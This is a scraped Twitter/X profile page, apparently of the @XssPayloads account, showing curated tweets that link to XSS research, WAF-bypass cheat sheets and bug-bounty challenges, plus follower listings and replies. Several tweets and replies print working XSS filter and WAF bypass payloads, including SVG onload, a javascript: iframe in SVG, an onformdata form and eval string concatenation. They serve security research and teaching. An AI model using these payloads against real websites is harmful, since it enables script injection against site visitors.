-
Tweets2K
-
Followers43K
-
Following0
-
Likes11
mXSS cheatsheet, always useful... by @Sonar_Research sonarsource.github.io/mxss-cheatshee…
Beyond XSS: Explore the Web Front-end Security Universe, a good site to start and improve with XSS. By @aszx87410 bit.ly/46ttM5S
How we escalated a DOM XSS to a sophisticated 1-click Account Takeover, a great article by @Benasin3 and @LongShrimp0812 Part 1: bit.ly/49N43qs Part 2: bit.ly/3xXB2Ld
A cloudflare WAF bypass payload, reposted by @akaclandestine %3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E
A nice collection of Server-Side Prototype Pollution gadgets by @yu5k3 and the KTH Royal Institute of Technology github.com/KTH-LangSec/se…
A confeti payload for nicer XSS, by @renniepak Demo: bit.ly/3vYQHJC Code: 0-a.nl/conf.js
Bypasses for the most popular WAFs, a useful scheatsheet by Project NZT-48 bit.ly/3UiyoZv
Some more payloads, by @h4x0r_fr34k x.com/h4x0r_fr34k/st…
Some more payloads, by @h4x0r_fr34k x.com/h4x0r_fr34k/st…
Nice collection of XSS filters bypasses by @0xEdra github.com/Edr4/XSS-Bypas…
XSS WAF Bypass One payload for all, interesting evasion technique by @0xEdra bit.ly/3xvW5oc
April XSS challenge by @intigriti challenge-0424.intigriti.io
Bypassing DOMPurify with good old XML, nice findings by @ryotkak bit.ly/4amINc3
2 interesting XSS writeups by @sudhanshur705 github.com/Sudistark/xss-…
SVG File upload payload by @stealthybugs <svg> <foreignObject width="100%" height="100%"> <body> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg> x.com/stealthybugs/s…
SVG File upload payload by @stealthybugs <svg> <foreignObject width="100%" height="100%"> <body> <iframe src='javascript:confirm(10)'></iframe> </body> </foreignObject> </svg> x.com/stealthybugs/s…
DOM Purify - untrusted Node bypass, a way to bypass DOMPurify when used in a specific way, by @slonser_ bit.ly/4aolQoo
March XSS challenge by @intigriti challenge-0324.intigriti.io
Akamai WAF bypass XSS, by @smaury92 <input id=b value=javascrip> <input id=c value=t:aler> <input id=d value=t(1)> <lol contenteditable onbeforeinput='location=b.value+c.value+d.value'> click and write here!
Reply to calc: The Attack Chain to Compromise Mailspring, great finding turning an XSS to an RCE, by Yaniv Nizry bit.ly/3ThiInh
Form submission vector, by @h4nsmach1ne <form onformdata="alert(1)"><button>Click</button></form> Now added to @PortSwiggerRes XSS Cheatsheet: portswigger.net/web-security/c…
OpenNMS Vulnerabilities: Securing Code against Attackers’ Unexpected Ways, excellent article by Stefan Schiller using SNMP traps as XSS vector and leading to RCE. bit.ly/4372FNA
Intigriti @intigriti
155K Followers 644 Following Global Bug Bounty & VDP Platform. 🌐: https://t.co/fgCupJckrW ▶️: https://t.co/lRfCzZBgb7 👾: https://t.co/Inf7N9VQIl
The XSS Rat - Uncle R.. @theXSSrat
129K Followers 888 Following Alone we survive, together we prosper. Are you with me? https://t.co/AfnDsVhqqA
Jason Haddix @Jhaddix
147K Followers 7K Following CEO, CISO, Trainer, Hacker, and Speaker. @arcanuminfosec 18 years hacking + sec leadership. ex:BuddoBot-Ubisoft-Bugcrowd-Fortify-HP-Redspin-Citrix.
Md Ismail Šojal @0x0SojalSec
22K Followers 4K Following Cyber_Security_Researchers || 0SINT || Digital Forensics System Analysis / incident Response II Pwn || GH0ST_3xP10iT || 0ld Accounts Suspended @0xSojalSec ||
Harsh Bothra @harshbothra_
42K Followers 664 Following Freelance Pentester & Consultant • Cobalt Core Lead & Pentester • Author • Speaker • Blogger • SecurityExplained • Project Bheem • Learn365 • Views are personal
Gareth Heyes \u2028 @garethheyes
32K Followers 1K Following JavaScript for hackers: Learn to think like a hacker. https://t.co/e0aNEbEDk5
Anton @therceman
20K Followers 596 Following 👋 I’m Anton (therceman) 🪲 Bug Bounty Hunter 💬 Sharing Bug Bounty Hunting Knowledge ℹ️ ➡️ 🎞️ https://t.co/D1MVWyjoKS 💡 https://t.co/ZsPdqy8BI6
Julien | MrTuxracer �.. @MrTuxracer
30K Followers 418 Following Freelancer | Full-time #BugBounty | @Hacker0x01 H1-Elite & $1,500,000 Hacker | ❤️ IDA Pro
PwnFunction @PwnFunction
38K Followers 981 Following I make animated computer science videos • product & ai @pdiscoveryio • blog at https://t.co/RLiSNOVQ0W
HackerOne @Hacker0x01
289K Followers 3K Following The only official HackerOne Twitter account. Peace of mind from security's greatest minds. #HackForGood #togetherwehitharder
张惠倩 @momika233
15K Followers 194 Following Anda boleh melakukan segala-galanya dari syurga ke bumi, wanita kecil!! If you have any questions, please contact me
Nithin 🦹♂️ @thebinarybot
16K Followers 515 Following Hacking machines and life | Community Manager @InfoSecComm | eJPT | Certified Red Team Professional (CRTP)
Akita 🇦🇷 who Am.. @akita_zen
25K Followers 1K Following Hacker / Zen Monk / Energy Master / Bugbounty Hunter Founder of Nothing - Being Nothing - Silence - NoTime - only Space
Renganathan @IamRenganathan
12K Followers 680 Following 19 | Ethical Hacker | Building R Protocols | Speaker | 25+ talks | Secured Google, Apple, LinkedIn, UN, Medium & more | Tweets are personal :)
Ryan M. Montgomery @0dayCTF
53K Followers 504 Following Pentester / Serial Entrepreneur / Child Safety Warrior — https://t.co/9c4DBWMYiQ
Hitesh Dalwani @HiteshDalwani
173 Followers 880 Following
Var18 @Var__18
16 Followers 40 Following
Tony Regins @tonyfreakky
1 Followers 183 Following
Cyb3r^rch3r @AbhishekSJethwa
9 Followers 108 Following Cyber-security Enthusiastic | Python | CTF Player
7h3m3rc @7h3m3rc
0 Followers 41 Following
THANFEES @Thanfees_
9 Followers 90 Following
David @hnt3r
0 Followers 498 Following
Z @ewhDev
4 Followers 4 Following
Makgama Langa @MakgamaLanga
34 Followers 156 Following
/ @DataTerrorist
2 Followers 62 Following
aftab ansari @xaftabansarix
2 Followers 45 Following
Simo @mefistada
13 Followers 194 Following
Samin Bin Humayun @SaminHumayun
123 Followers 565 Following
Kraken @goyixar
47 Followers 73 Following
JeexDuOp @JeexDuOp
18 Followers 105 Following InfoSec enthusiast | Bounty hunter | S+ | Chinese learner | Committed to self-improvement in all aspects of life
JB @JoshB96009544
38 Followers 209 Following
Jean Ezquerra @Ferruzoft
175 Followers 438 Following Hago streams de videojuegos, podcast y programación en Twitch, Facebook y YouTube!
Chris D @CI5A
4 Followers 211 Following
pwndumb @pwndumb
21 Followers 130 Following "Neo, sooner or later you're going to realize just as I did that there's a difference between knowing the path and walking the path." Morpheus ,Matrix 1999
FOvercast @FFOvercast
11 Followers 53 Following
Harry Do @minhdth731
23 Followers 359 Following
Pehexap @pehexap
1 Followers 66 Following
evgeniy.lakhno @EvgeniyLakhno
0 Followers 8 Following
Omega @droidomegazero
18 Followers 72 Following
Prince Konadu (Sowsow.. @konaduprince26
91 Followers 438 Following Cybersecurity personnel, Software developer, Graphic designer, AI.
🥷🏻 @HLowlyy
0 Followers 153 Following
Jahin @NearSocial__
3 Followers 70 Following
Milad Mantashi 🇺�.. @miladmantashi
164 Followers 1K Following Network, Network Security, IT Security Enterprice
rhomancode @rhomancode
5 Followers 18 Following
Julián El Niño @ShuliamBretonia
5 Followers 37 Following Uno busca lleno de esperanzas el camino que los sueños prometieron a sus ansias.
ahmad -⭕️ @msus86
13 Followers 331 Following
Ahmet Özel @pixellerin
26 Followers 123 Following PHP - Javascript Back End Developer dugunumuzvar ~ Jr. Developer
Harold S Cano @Nojusticef38121
168 Followers 669 Following I'm a skilled professional on the job, Security Focused MBA in applied Intelligence from Georgetown University.
The-Mercury @Mahmoud_Samir82
3 Followers 445 Following
ayesha @ayesha45350572
1K Followers 7K Following
Byamukama Rogers @byamukamarogers
118 Followers 771 Following The internet should be a safe place for everyone.
@XssPayloads @intigriti Pro tip: Don't put the @ in the beginning of the tweet as now it will only be shown to people who follow you and Intigriti (So the ones who've already seen the tweet)
@XssPayloads @RenwaX23 For this to work you gotta throw it up 😜
@XssPayloads @garethheyes (Since most WAF will likely block anything looking like *alert(* )
@XssPayloads Also, if you find it interesting, there is a case how to search for 0-click RCE in Electron applications 😁🙌🏽 shabarkin.medium.com/0-click-rce-in…
@XssPayloads @ReeverZax This works, for example: a='aler';d=`'XSS'`;b='t('+d+')';c=a+b;eval(c); or a='aler';d='Math.PI';b='t('+d+')';c=a+b;eval(c); or a='aler';d=1;b='t('+d+')';c=a+b;eval(c);
@XssPayloads @insertScript These aren't XSS vectors, it's just weird that object has a form attribute because it's unrelated to forms
@K3n4nG @XssPayloads and <img src=x onerror="alert(1)" (Without closing tag) bypasses filteras that search for complete html tags
@K3n4nG @XssPayloads also if there's another scripttag further down in the page you don't have to write The second one at all
@XssPayloads worth noting this could also work for geolocation, microphone access, and pretty much anything like that.
@XssPayloads @shadowmar trying right now. No joy so far. But can't find many small enough payloads. 20 char limit.
@rbidou @XssPayloads You can find more payloads here : github.com/ajinabraham/OW… Let there be no more alert(); in PoCs.
Trends for United States
You might like
